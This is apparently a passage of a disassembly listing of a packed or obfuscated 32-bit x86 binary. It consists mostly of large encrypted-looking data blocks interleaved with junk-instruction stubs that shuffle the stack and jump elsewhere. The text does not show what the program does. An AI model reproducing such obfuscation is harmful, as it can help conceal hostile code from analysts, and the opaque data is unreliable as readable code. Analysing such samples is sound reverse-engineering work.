		dd 1C59434Bh, 5B988212h, 5DDEC8D2h, 879D2D6Eh, 263DA18Bh
		dd 1CF1565h, 74B6CD04h,	0E1986A28h, 9E405314h, 0EB2CC1ADh
		dd 0A18B8CDFh, 712F49FBh, 864485BCh, 54A18B8Ch,	0E548EBA2h
		dd 9C5A22F0h, 89C6B0CAh, 0F0E369A4h, 0E039A855h, 0BD8F4D53h
		dd 36CB89A3h, 65E7A5F7h, 0A687FFEBh, 2A14E131h,	0D09A9CE1h
		dd 77617B95h, 1AFBB789h, 3A98750Ah, 0FA7EAC04h,	5939C79h
		dd 72BE7547h, 1ADh, 0C4D657BFh,	0DABC7106h, 5D6371F0h
		dd 0B1F22960h, 0A794E719h, 0E6795192h, 0AF61A794h, 0DB522FE1h
		dd 6E3D0AC1h, 0FFAD97EBh, 347544E8h, 0A191E196h, 9B789244h
		dd 7648068Ch, 0BB792BBFh, 91E1CAFCh, 0A99509A1h, 672DFA11h
		dd 0CC20D7A9h, 0A1417FAh, 3E2Fh, 0CF157C00h, 3CC30401h
		dd 0D9AD980Ah, 73316BC2h, 0A456EAA1h, 0C39F27E6h, 9D34A191h
		dd 0A3C531C0h, 8A412A46h, 4F66FEEAh, 0A3FEBCDEh, 0DC1D13ABh
		dd 6BDD711h, 143CE0B2h,	0B6150Ah, 57620000h, 6A2C01D6h
		dd 0A7765350h, 23A1979h, 65FA7E35h, 7E13D1D5h, 9A2FEDAFh
		dd 0B81F0993h, 0A794D4DCh, 6F0AA83h, 76737987h,	50F6623Fh
		dd 4C29268h, 0C0973925h, 0EAA1BB4Bh, 9A39D51Dh,	0A6A355ADh
		dd 0D3F7386Fh, 7A18ED3h, 0E3B57855h, 0F99C5325h, 3E7B6529h
		dd 5945E7F2h, 6285BA3Fh, 8BFFEF27h, 358F0h, 0E4B67B00h
		dd 286EBDFAh, 702E013Eh, 0B9E54986h, 0FE8692CFh, 306C2D14h
		dd 75B29CE0h, 0B8F5DFA7h, 0FF3C2676h, 1826C2Eh,	85F9D112h
		dd 0CAE1A18Bh, 0C3CB5709h, 7919CD9h, 90182D0Ah,	0F660FB8Ah
		dd 7212B8F9h, 16C8A794h, 3B52AF5Fh, 9DEEA5F1h, 0BBF0037h
		dd 0CFA794E7h, 6C4D05Ah, 0C0631A34h, 0D86D2B6Dh, 0AB1F6055h
		dd 2FA794E6h, 0FA79637Dh, 0CE9E6F4h, 0FB3063BEh, 7C3FF6CEh
		dd 9726483Bh, 945204ADh, 90E0F3D5h, 816DE7A1h, 0BC110CE9h
		dd 0DCA1E183h, 2C324025h, 5395EE2Fh, 5B7A793h, 18F62B08h
		dd 1E1AE668h, 0FBCD8B11h, 6C2804E1h, 7525DCAEh,	0C4D6578Ah
		dd 0DABC7106h, 5D6371F0h, 0B3FB4960h, 874557D6h, 0FA3BFEB5h
		dd 0AD97EBB1h, 0B3FEB0EBh, 0C7C2CC70h, 9499B0ADh, 95AFEF3Fh
		dd 0C70805D7h, 0A1911003h, 0EA6E25D7h, 64C55835h, 7E8D8337h
		dd 44CCFAC7h, 9307A191h, 0B4AC7EA7h, 35E10A14h,	0BC000000h
		dd 1C0EAADFh, 0CB826487h, 1CF157Ah, 0A3CC304h, 5608AD98h
		dd 0AEF64259h, 12B473F7h, 0C1A191C4h, 7A18132Ah, 9333EABCh
		dd 39AC7EA7h, 0DAE10A14h, 2E000000h, 6C4D657h, 0E0DDA171h
		dd 7B3965C9h, 0D96EF2A9h, 0AC1E5F54h, 2EA794E6h, 0FA4627Ch
		dd 2B927C1Eh, 0A794EB69h, 686537F6h, 0FCBADC51h, 86C3732Ah
		dd 6037F5A7h, 724F4C12h, 5622D7B0h, 0D79A51D4h,	97056996h
		dd 8595ACADh, 90142401h, 0B54900D2h, 549A1903h,	0A4488986h
		dd 7AA796ACh, 78B4CBC8h, 0D58C5E1Ch, 672FFB12h,	0BAD8536Ah
		dd 0C3732AFCh, 6DF2BA86h, 0E528D6D4h, 9E9934A8h, 35000001h
		dd 73B09AFCh, 0B7F4DEA4h, 0FF3C2674h, 48856F2Fh, 0E3CAB4F8h
		dd 525AE636h, 991D2B68h, 0DCB872AFh, 1E78B5F2h,	83C4B334h
		dd 0A18B8547h, 37BB7C93h, 0E70BBF00h, 1DCFA794h, 2F77C366h
		dd 83131B32h, 0FBCF10C5h, 0DFA794E6h, 0D516132Dh, 0A794E6F5h
		dd 0CC7C33E5h, 12FC9E8Fh, 1CF1527h, 585EED04h, 4E11C89Ah
		dd 9809F20Dh, 0E2A052ADh, 91C3A323h, 0D0BC30A1h, 1439D5A7h
		dd 0A00A0Ah, 57570000h,	5106C4D6h, 0ECA3F13Ah, 0F7B5F949h
		dd 0CA0B42h, 0DAA794E7h, 0F0A47128h, 6FA794EBh,	95F2DCBEh
		dd 0E1AD1D5Eh, 7B2DA794h, 540B919Eh, 5C1A7CB1h,	74717F85h
		dd 921A263Dh, 92502D4h,	0F609D68Dh, 4EAD97E8h, 2D33B29Ch
		dd 0ACE1221Fh, 0B4A7978Dh, 22EE0502h, 0E733705Ah, 0CE791A9Fh
		dd 0D74BE529h, 0B83Ch, 84161B00h, 0C8CE5D9Ah, 108EA1DEh
		dd 5945E926h, 9EE6326Fh, 0D0CCCDB4h, 15523C40h,	58957F07h
		dd 9FDCC6D6h, 0A1220C8Eh, 845971B2h, 6A81A18Bh,	0C3CB57A9h
		dd 7919CD9h, 2037321Dh,	39CE8C10h, 15E7A5E9h, 8CA144FBh
		dd 76B74C0Ah, 11CFCF61h, 0BC3B253Fh, 6AABA8B6h,	0AD9E40F9h
		dd 0EA36113h, 56937D1Fh, 4807C5D7h, 0F57D22A8h,	9E160288h
		dd 0B6FE4A8Fh, 0A4889F9Ch, 0B1683AF8h, 0BE8DA401h, 0B1683AF8h
		dd 0BF7D1F0Eh, 0D492022Ah, 0F3B1ED3Fh, 0DCBD15Eh, 0CFCD5E3Bh
		dd 7F6B3911h, 675333CAh, 725C3EEFh, 0A19EF835h,	8C021AC4h
		dd 32E986EEh, 313AEh, 751A0000h, 0C8D25734h, 0DEB8750Ah
		dd 0F5A18B20h, 1094A237h, 296DBD52h, 424AD66Bh,	5F3FEF84h
		dd 75230CA1h, 8F1522B7h
		db 0D1h, 4Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	5A0Dh
		mov	[esp], ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		mov	edi, 60959F0h
		push	edi
		add	dword ptr [esp], 5F1A7A93h
		pop	ebp
		sub	ebp, 5F1A7A93h
		pop	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	1269h
		mov	[esp], ebp
		add	dword ptr [esp], 69FF46EEh
		pop	dword ptr [edi+8]
		sub	dword ptr [edi+8], 69FF46EEh
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FF7CF
; ---------------------------------------------------------------------------
		db 8
		dd 68C1E445h, 5BEC4CD5h, 0B83ADDD5h, 60964A1h, 0E0FFC503h
		dd 4DEEE434h, 2122481Dh, 65A8E999h, 4CD52440h, 70F8B44Dh
		dd 77AB6060h, 68E3B5ECh, 1205720Fh, 2775DED8h, 5F8B2DECh
		dd 4B58DAA7h, 3A25A06Eh, 7682BE7Dh, 3C47F060h, 54F653Ch
		dd 46F49EF3h, 1BF9B280h, 74F3378Eh, 5ACFF0D3h, 4FFC9B49h
		dd 9767B0Fh, 3EEA595Fh,	7A55B147h, 0F1160CEh, 4C8B6380h
		dd 738AA13h, 6C6DBF2Dh,	287ED474h, 666D8D8Dh, 9D890609h
		dd 6032F55h, 20A58D89h,	0BF0F0603h, 6585C7DEh, 4406031Ah
		dd 6A000069h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 69FDC353h, 0D44B0FF5h,	85C79C11h
		dd 6030071h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D7C35343h
		dd 5EB11814h, 0B2A8B1Dh, 81DF8BF8h, 547E99CEh, 21B5FF2Ah
		dd 0F060320h, 28Fh, 0FF07B600h,	3171D95h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 49F27C38h, 6AC3BF0Fh, 0A595FF00h, 8B060323h,	2209EBC0h
		dd 9C335550h, 9B1260F3h, 8EBh, 291B0000h, 0C0E92844h, 68000004h
		dd 60967CFh, 0FA178CE9h, 686468FFh, 82E90609h, 68FFFA17h
		dd 609698Eh, 0FA1778E9h, 0AC75FEFFh, 0CB9C2240h, 0E8B9415Fh
		dd 0BD45E7Ch, 2BFC819Fh, 0F0B400BFh, 102E9A6Bh,	3250BC85h
		dd 5371DDA6h, 8A8FFBCCh, 23DD13DEh, 8795D018h, 0BC7D0715h
		dd 90C59F56h, 0D9247703h, 760C8A05h, 7A453D48h,	8C00D156h
		dd 175D285Ah, 0DFD61145h, 45AFC5D2h, 3A47D611h,	0E958D42h
		dd 1F86D13Dh, 0A5420D81h, 0BFDC1465h, 65ACC28Dh, 3744D012h
		dd 1286933Fh, 0FD8E3609h, 0BD853D96h, 261964BCh, 0E6B1257Dh
		dd 0D0123288h, 0AE635B68h, 1232FFF9h, 0CECB44D0h, 3A948B40h
		dd 0E18A935Ah, 992BAEB9h, 87EDB82Ch, 6FD01274h,	0E12F6A62h
		dd 1F000002h, 37C18711h, 58231B6Eh, 50CD7E13h, 8E8954C8h
		dd 0A8DC1460h, 0A8B16B9Bh, 5F4F9C40h, 0DA81E22Eh, 6463A38Eh
		dd 95561911h, 0C6D57503h, 824DC15Fh, 0DF7D4649h, 4C56DCE1h
		dd 226D36C0h, 0C1147433h, 98609DC2h, 0C18A1624h, 0BAD49FC9h
		dd 32D57840h, 4D7FB125h, 7E326C82h, 0FFF704D9h,	2DA172F9h
		dd 53744424h, 4A4295FFh, 0B2830A28h, 25001C5Bh,	939A9BD8h
		dd 2D2h, 67D39C25h, 86F2C349h, 0A30FE068h, 0C632FB85h
		dd 0E65223A8h, 9217DB27h, 0AC3755C1h, 0CD5977E3h, 0F37A9804h
		dd 5B1B622h, 1822343Ah,	9BAEBCD0h, 3F350032h, 0B7D61145h
		dd 0FFF5FAAh, 93F58C62h, 633D689Bh, 8D56E1EFh, 0DBA06B95h
		dd 9BDC1A95h, 0E14CA26Dh, 1724D018h, 0BD4250C4h, 7B4678ECh
		dd 0D018E175h, 164BF8FDh, 92A39548h, 725473Fh, 2F3DB182h
		dd 2CE1D9AAh, 182D7277h, 0AA6D76D0h, 0BB30A9FEh, 0B2393F37h
		dd 0E4418AE1h, 0D3D4CEBEh, 23DCCh, 6831BA00h, 8758DEFCh
		dd 0A475FD1Bh, 0C7901A38h, 0E7B83D5Bh, 0AC70BC7Bh, 0CCEA5627h
		dd 0EE0C7841h, 0F2D9962h, 464BB788h, 2DA1CF9Ah,	4351D018h
		dd 24FC2930h, 0AB06E5B0h, 0D3E0DC1Ah, 22D51FD4h, 0F16AD018h
		dd 806D66F4h, 85A85A30h, 0F7000001h, 7601CF56h,	3F5B5AADh
		dd 452C420Dh, 0E06AD611h, 271D1817h, 951C221Ah,	86513BC7h
		dd 0D6114568h, 34A8FB08h, 11450B69h, 8BDEEBD6h,	0CFA9D41Fh
		dd 4A43905Bh, 6775DC14h, 6B170FE0h, 52DCEA5Eh, 978F8A89h
		dd 40C32DE2h, 0FF78D012h, 0E27F7402h, 20B65A3Ah, 5000000h
		dd 0B024FC29h, 1468C2E5h, 908F9CDCh, 126691DBh,	0B0AD26D0h
		dd 3AC0A922h, 0A5645Ah,	56B30000h, 7FFFECFh, 0BAB2B182h
		dd 6B636233h, 0C927F2E4h, 0A9D61145h, 0C7D5499Ch, 57797142h
		dd 114A5C7Ch, 0C04C5AD6h, 40E50BD6h, 808DD611h,	3B332E2Dh
		dd 71DDAE35h, 0AD21FF26h, 808793A4h, 0C2BAEDDDh, 8EFFCD98h
		dd 6A77DC16h, 945DE8F6h, 78A29A95h, 0A814E56Ah,	0DD34058Ah
		dd 0CEBBCB8Ah, 13293031h, 0E4000001h, 826925Bh,	2745B182h
		dd 4462CE9Fh, 6785F1BAh, 0E6A511E2h, 8051D69Ah,	0A26BF614h
		dd 0C38C1836h, 0E1B23957h, 0F9C47075h, 0D0182CFBh, 565A6D7Bh
		dd 7E8C00D1h, 2E2928F9h, 6FF61436h, 324F329Eh, 0D3CB9C24h
		dd 0F27846CDh, 4C5ACE21h, 0FDF8F7C0h, 0D1585005h, 0F3838C00h
		dd 0F5D99E4Fh, 59A4C6BEh, 15E0542Ch, 0DC142C42h, 9D66F2FCh
		dd 0CC53A39Eh, 0AE01FCFBh, 0BD6083Ah, 0D01549E5h, 8288808Dh
		dd 0E5C02CFDh, 0D015498Bh, 814FD7E5h, 0D6D528F9h, 569C67DBh
		dd 1ED01549h, 8C131911h, 0AC314FBBh, 6BD5DCDBh,	0D8000000h
		dd 0E32CFC29h, 750FF0DAh, 7A45B90Ch, 0DC1A9EF1h, 756D6C79h
		dd 6FB11DEEh, 1109DA61h, 0B4B3840Bh, 571C6DFFh,	4B48A302h
		dd 0DF4B1CA3h, 0F5693AC1h, 8F8E5FE7h, 1F552094h, 0D7E2479Bh
		dd 251DD2CAh, 0B5D3D29Bh, 0AA31D9D6h, 0C84F6DD9h, 0A2A172FAh
		dd 7D4A72AFh, 388B8584h, 15FBF9C4h, 6E7BE247h, 3151C1Bh
		dd 18000000h, 0CD563D54h, 860D0504h, 32BEB6B5h,	0E7726A69h
		dd 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah,	6DF3EBEAh
		dd 576F9D9Ch, 0C7815F54h, 4, 8704EF83h,	685C243Ch, 124Ah
		dd 68241C89h, 633Eh, 81240489h,	4ECh, 242C8900h, 0B960F5BDh
		dd 0B3C58165h, 89A05005h, 0EC835DEBh, 24248904h, 4240481h
		dd 58000000h, 8904EC83h, 0DD89242Ch, 5D086889h,	5324048Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 1C8B5C24h,	0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FA12D8E9h, 0B8D58FFFh
		dd 6096AC6h, 0E0FFC503h, 7D2179E1h, 7C1AE0DCh, 75102D60h
		dd 2B54FCA5h, 73762A22h, 5FD4D788h, 242AF928h, 7178BA0Bh
		dd 6C508D8Dh, 0BD8B0609h, 60306F5h, 20A58D89h, 870F0603h
		dd 6, 1435958Bh, 85C70603h, 6031A65h, 6FFCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FEC35141h, 0D080959Fh
		dd 9F161D2h, 317219Dh, 7185C706h, 60300h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0EBE3C353h, 89AA785Ah, 0C69B5FFh, 6A0603h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8488EEC3h
		dd 39173E3Fh, 666023FDh, 8BCCE8BAh, 95FF61DFh, 603171Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C5C35747h
		dd 29079FA0h, 6A45A7h, 23A595FFh, 0C08B0603h, 0E62A38EBh
		dd 6ADB9C9Bh, 581D2D12h, 3C5D26DBh, 6C53225Eh, 46DF6AC6h
		dd 2BA31E64h, 0E03B352Fh, 0C45D7E9Dh, 15A1A795h, 24BA5261h
		dd 130A2F7Ah, 8FF8031Fh, 801E03C5h, 8D8DB1C3h, 6096D33h
		dd 2D7D952Bh, 0B5290603h, 6031F85h, 20A58D89h, 85C70603h
		dd 6031A65h, 5860h, 15B98589h, 85C70603h, 6030071h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0ADC35343h
		dd 0B50D8E52h, 0A9B5FF63h, 6A06031Ch, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 512EC355h
		dd 858B253Fh, 6030711h,	0CE9h, 0C4740D00h, 0C8547E02h
		dd 0C0371B55h, 83BB660Dh, 1D95FFD5h, 8B060317h,	3189D85h
		dd 0FF006A06h, 323A595h, 0EBC08B06h, 0EC69220Ch, 9A8A7766h
		dd 0AF730799h, 0D28D8D1Ah, 106096Dh, 32A998Dh, 0A58D8906h
		dd 0E9060320h, 6, 0FF0AF3DEh, 85C7F72Ah, 6031A65h, 5D0Ch
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1AC35747h
		dd 0C7F98566h, 3007185h, 6, 0F19D8900h,	0FF060317h, 30EA9B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 22069AA9h, 95FFB2ABh, 603171Dh, 0D442BA66h
		dd 95FF006Ah, 60323A5h,	5AEBC08Bh, 9D2AADCFh, 7251EB30h
		dd 0E0D3B71Dh, 45D3EC5h, 116BCE40h, 0F49383E9h,	68444C4Dh
		dd 0B5CC4DEh, 0C807185Ah, 894D8B8Eh, 736DD12Ah,	2445480Dh
		dd 9E241E3Fh, 35C364B1h, 0E0089377h, 8D2708E0h,	0ADA1CF05h
		dd 30454CDCh, 0F80455A3h, 1FDDD896h, 0FF63A16Dh, 48A3B54Dh
		dd 10E8E60Bh, 0F3000000h, 3BB7F581h, 2A9CBC7Ah,	0EFE802D6h
		dd 52B4735Eh, 860F60h, 60000000h, 5A5B6161h, 204D8D8Bh
		dd 0C2810603h, 6838h, 0B58D8956h, 5906032Dh, 8166FF2Bh
		dd 0FFA41BF1h, 8D8B1734h, 6032109h, 0DBBF0F5Eh,	0DD65C681h
		dd 0B9665CFCh, 0EE81C3BCh, 625C94DCh, 0E519D01h, 0F6810603h
		dd 3D50C984h, 0F556A5B7h, 93A048Fh, 31D119Dh, 85858B06h
		dd 83060303h, 815102EFh, 0C7899E9h, 4F4F5B23h, 80C38166h
		dd 80FF818Eh, 0FFFFF98h, 1685h,	0E9C38B00h, 23h, 47EE13EBh
		dd 27388ED7h, 0B192F1FDh, 0BDE0A50h, 331358Dh, 0FF85E906h
		dd 1443FFFFh, 29F122C4h, 0E8186079h, 6,	8FDDC84Ch, 8B5B8BD0h
		dd 32285B5h, 0DEC38106h, 0E900005Dh, 12h, 5D0C4D34h, 5A51231Ah
		dd 6EE1086h, 90AB183Eh,	4A68408Ch, 53000017h, 25A58533h
		dd 5A580603h, 8E8h, 0F6FE3600h,	711F11A9h, 8B58FCD2h, 0E781600Bh
		dd 71407511h, 20E58589h, 81610603h, 0DF3DA5E9h,	45C1810Ch
		dd 8911BB4Dh, 3208DB5h,	0FFC18106h, 89355817h, 4CF7810Bh
		dd 81481072h, 2671E6EBh, 8B66506Ch, 0C3815EF1h,	6C2671E2h
		dd 83F2B70Fh, 850F01EAh, 12h, 1FE9F18Bh, 0A5000000h, 0C5B3F6B8h
		dd 808E6F2Fh, 0BD0B1BD3h, 6030875h, 0FFFF96E9h,	9B0D4CFFh
		dd 0CDCA8B7Dh, 8D8DA603h, 6097069h, 20A58D89h, 10E90603h
		dd 0D2000000h, 0E6FF763Ah, 8CEFE606h, 0C9040411h, 0C7AE13ABh
		dd 31A6585h, 6DA006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 8A9F2DD4h, 85C728B4h
		dd 6030071h, 0
		dd 1810Fh, 0FFFC0000h, 30575B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 89608C7Ah
		dd 319598Dh, 13E806h, 38F90000h, 680445E8h, 0DF43AD9Eh
		dd 0EE8E7539h, 0A6460114h, 0BEB966C0h, 0FF615A0Fh, 3171D95h
		dd 19B58906h, 6A06031Dh, 0A595FF00h, 8B060323h,	0D07BEBC0h
		dd 0A9751202h, 4A67F056h, 0D26DB6F3h, 0CE12C53Ch, 0CA2BC0A5h
		dd 3D989E6Dh, 0EEB07C1h, 98D0A696h, 0C101E9AFh,	0EB80DE3h
		dd 7BDD9CC5h, 48D5FC90h, 301CC3BDh, 9F6096B0h, 0B922FCC7h
		dd 0C2077203h, 27A0FDA4h, 1C45B055h, 79599F12h,	91FAF9B0h
		dd 0D224874h, 605A03A1h, 8E613933h, 5FCFA322h, 0F15F6907h
		dd 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh, 0AABAC08Eh, 70846B33h
		dd 8D8DA673h, 609715Eh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 48C35141h, 89D6B70Fh,	320A58Dh, 0CA816606h
		dd 85C78DE5h, 6031A65h,	6618h, 68B0Fh, 9D2B0000h, 6030F19h
		dd 7185C7h, 603h, 9D310000h, 60316B9h, 2021B5FFh, 0BD090603h
		dd 6032E11h, 171D95FFh,	8D090603h, 6030925h, 95FF006Ah
		dd 60323A5h, 9EBC08Bh, 93D43DBDh, 0B70F9177h, 128D8D55h
		dd 0E9060972h, 12h, 9DD427E9h, 0C9A2FCAh, 7D21E180h, 0C40D2C9h
		dd 8D89DB46h, 60320A5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0B6C35040h, 8B6043E8h, 3171985h, 85C76106h
		dd 6031A65h, 5960h, 0C792CF80h,	3007185h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0E62CBBDAh, 0B5FF0F65h, 6030575h, 4B5BD89h, 95FF0603h
		dd 603171Dh, 17199D8Bh,	0D7810603h, 68C3271Ch, 95FF006Ah
		dd 60323A5h, 7BEBC08Bh,	6FA76389h, 0E155AE56h, 8EE0B65Ch
		dd 0E927E473h, 5F07B549h, 0D7782D4Fh, 29C187F9h, 71207969h
		dd 96E8136Dh, 81FDF7C8h, 84F197DFh, 7EFFBE16h, 0EB56D24Fh
		dd 0E895B7CFh, 2047F138h, 0D3DB537Fh, 73F2EE04h, 0EA6D9EA8h
		dd 0B43E8A83h, 7BE4C757h, 100C8AB9h, 95B34634h,	6B19E8FCh
		dd 0EF6937DAh, 0ED5B6489h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh
		dd 7DB32EADh, 32AC66D3h, 0EBCBBA43h, 1DEBCF04h,	4D7E953h
		dd 6AF30000h, 911735A1h, 0AE3654C0h, 0C95371DDh, 0F1769400h
		dd 0A9F5B420h, 238F60E5h, 45B17A05h, 66D29B27h,	84F0C148h
		dd 0EA08D37Fh, 8AD01837h, 64010A7Ch, 31792BE2h,	0C91CED73h
		dd 0CF5606D1h, 8207FFFEh, 3A343DB1h, 33664995h,	6D8BADA5h
		dd 0BF9018E6h, 0EE756D6Ch, 0A0261E1Dh, 2C7F48D2h, 0DEAF352Dh
		dd 9162E7DFh, 0EFEEB741h, 0E48F8C37h, 0AC5451ACh, 0FFD05725h
		dd 962240ACh, 7D7C45D0h, 0B2BB2F82h, 0F9C4E6E2h, 0D611E0FBh
		dd 0C0236E7Bh, 0ADCFC744h, 3B3A038Fh, 0F0EFB843h, 1096A4D2h
		dd 6F6C473Fh, 6723BC7h,	0D9361E8h, 35EAE93Ch, 0D611CB3Ah
		dd 0CF5D5A2Fh, 5C396D04h, 64241720h, 0C023C92Bh, 3A8DC8h
		dd 56DC0000h, 4AFFFECFh, 0D6114522h, 24EF2145h,	0D61145CEh
		dd 0C6A199A6h, 0E3B03BC9h, 17B5C39h, 0CA000000h, 0FFD056h
		dd 0B2B18208h, 686730BAh, 88302D88h, 0A7C53102h, 0E34F20h
		dd 100D156h, 0B3B28309h, 0A1494605h, 0C1DF4B1Ch, 726A693Ah
		dd 97A519EAh, 443F3E0Fh, 4DC6974Ch, 0E119C250h,	8E145C39h
		dd 63000000h, 8C00D156h, 45618F5Ah, 411D611h, 0D75F570Ch
		dd 8A0F0706h, 3CC2BAB9h, 0FFBE6C6Bh, 0C41F5702h, 0CC9A1FC7h
		dd 7C777647h, 1A9FBD29h, 0EBDB2451h, 9FF2BE7Fh,	551EA8A0h
		dd 0EE3BD8E1h, 3E864918h, 47C09146h, 0AD27BC4Ah, 68EE5C39h
		dd 0DE000000h, 393E1ACh, 8309D611h, 0C2B8B3B2h,	11642DB8h
		dd 0D1564E19h, 7D090100h, 0A83240B4h, 0EDE5E0DFh, 0C9BB4038h
		dd 1145F0FEh, 207380D6h, 0D1A22921h, 726F1AD2h,	605D66C7h
		dd 0F66233B8h, 2D05613h, 0B0ABAA7Bh, 54DBE95Dh,	0BAD68B83h
		dd 530F4CB1h, 0F8F02529h, 11A23A35h, 5D5A2FD6h,	390404CFh
		dd 10F5Ch, 565E0000h, 0ADEF05CEh, 59702BEh, 34BBB3B2h
		dd 67466463h, 713AC26Ah, 0D4D9084Ah, 74E033C1h,	0B024FC29h
		dd 14EF46E5h, 141320DCh, 0F5FBC6F8h, 7DD012EEh,	0EB727870h
		dd 990AE1Ah, 68843938h,	99D012EEh, 64EB9390h, 82092793h
		dd 33BAB2B1h, 5616DF65h, 7D3B3900h, 2D2C7FD2h, 0E0DFB035h
		dd 95945DE8h, 0F6BF4A9Ah, 0E210DBF7h, 92D01298h, 0CDCA7585h
		dd 605D1C22h, 0DD6331B8h, 3C45B90Ch, 0DC749BA7h, 496B6321h
		dd 0A871F907h, 7C7F1970h, 0D0C81B54h, 3A15EFE4h, 109265Ah
		dd 8160000h, 0B7B2B182h, 0FC29F4BFh, 4AE5B024h,	24DC145Fh
		dd 99201817h, 0B73E5CC8h, 68EFE7E6h, 2BEA9897h,	31FF862Eh
		dd 8455DDABh, 38378A85h, 7A7EEA3Dh, 5A3AF871h, 40BCh, 0F1290B00h
		dd 34EAB529h, 0BCD61145h, 0F5FBB0AFh, 63D61144h, 0B2E6BBB8h
		dd 754072E6h, 0D611447Fh, 9566EDF7h, 55204A42h,	0D61144AFh
		dd 45169BA9h, 2894A14Dh, 96FBh,	5919F00h, 4A423D3Ch, 24FC297Fh
		dd 814C7EB0h, 0D6114573h, 0E40AD503h, 8CD61145h, 71342C7Fh
		dd 0DC1467C2h, 6CF60436h, 665896A3h, 0B18D012h,	66A6CC97h
		dd 414ED012h, 91909D49h, 0D5411299h, 605F30B7h,	12654EABh
		dd 7748CED0h, 2CF58078h, 33300F2Dh, 211E2788h, 0F3BC4755h
		dd 0BA85F9F4h, 0D01261B4h, 31372F3Ch, 226DD9AAh, 0DEA91DFBh
		dd 0DA199360h, 0ECE4E3F0h, 77959465h, 5FC69B98h, 9C824DC1h
		dd 94D01620h, 0FE043C8Fh, 0B1ACAB74h, 0E511966h, 296C4FBBh
		dd 7EB024FCh, 1145BDB3h, 302835D6h, 41C6D406h, 4FB57870h
		dd 0C7DC1AB7h, 3CC3BBBAh, 5AE1FF6Bh, 0FDD58A89h, 372D2C92h
		dd 0B037DFDCh, 32626BDFh, 1D241D9Ch, 0CF11332Bh, 696839C1h
		dd 0E970766Eh, 0F4FD1918h, 7742EFDCh, 8D0F6079h, 6EA1ECF9h
		dd 1AEB708Bh, 3FC9CFC7h, 7A597776h, 19A3B17Dh, 0FFFEC753h
		dd 0B3B9B104h, 0D1EF5B2Ch, 737A794Ah, 0Dh, 0ACDE5476h
		dd 114593E1h, 5E5663D6h, 4CD5693h, 0B5860D05h, 6932BEB6h
		dd 1EE7726Ah, 0D1A2271Fh, 8455DAD2h, 3A038D85h,	0EABB433Bh
		dd 9C6DF3EBh, 0EC836F9Dh, 241C8904h, 0C381E389h, 4, 8704EB83h
		dd 535C241Ch, 0C381E389h, 4, 8704EB83h,	895C241Ch, 8956241Ch
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 240C895Ch, 26FFBA52h
		dd 62BB0B8Eh, 310D8754h, 24148BD3h, 6804C483h, 6225h, 83242489h
		dd 59042404h, 4EC81h, 1C890000h, 8418F24h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		dw 0A1C5h
		dd 3532564Bh, 0D0FB17E0h, 7A8F87C7h, 76CDB898h,	0C5030609h
		dd 0F1A4E0FFh, 9A3F6DBFh, 89E75B2h, 0A9FA3ACBh,	17F06158h
		dd 929B1A70h, 1C365444h, 8D963A12h, 0A59E015Dh,	60332055h
		dd 0ED1F4FC9h, 556310A1h, 5FDD09D8h, 9828663Fh,	37861BA5h
		dd 7D767C56h, 0A87351E6h, 5EEC65A0h, 0CDB03C66h, 5B12630Ah
		dd 0E4CB5DF9h, 843E5319h, 380B06BBh, 364C42C3h,	57CA7014h
		dd 0AFF84B24h, 0CDEC5209h, 0FE83F2Ch, 0AE000000h, 29AF5801h
		dd 0DCC28FDFh, 0F281C1Bh, 8B660D44h, 13E95BF9h,	8C000000h
		dd 0BD402976h, 0BA37C50Bh, 0FFE48BD7h, 7F3B5A04h, 0C381DA04h
		dd 70A3h, 1BF068h, 0F28B6600h, 0FE859h,	3D280000h, 28549ED1h
		dd 0C9428097h, 0C64572A9h, 0C660BF51h, 8B5F7F74h, 0CE95213h
		dd 4B000000h, 79AA48ECh, 1933E23h, 5F6E764Bh, 0D78CF281h
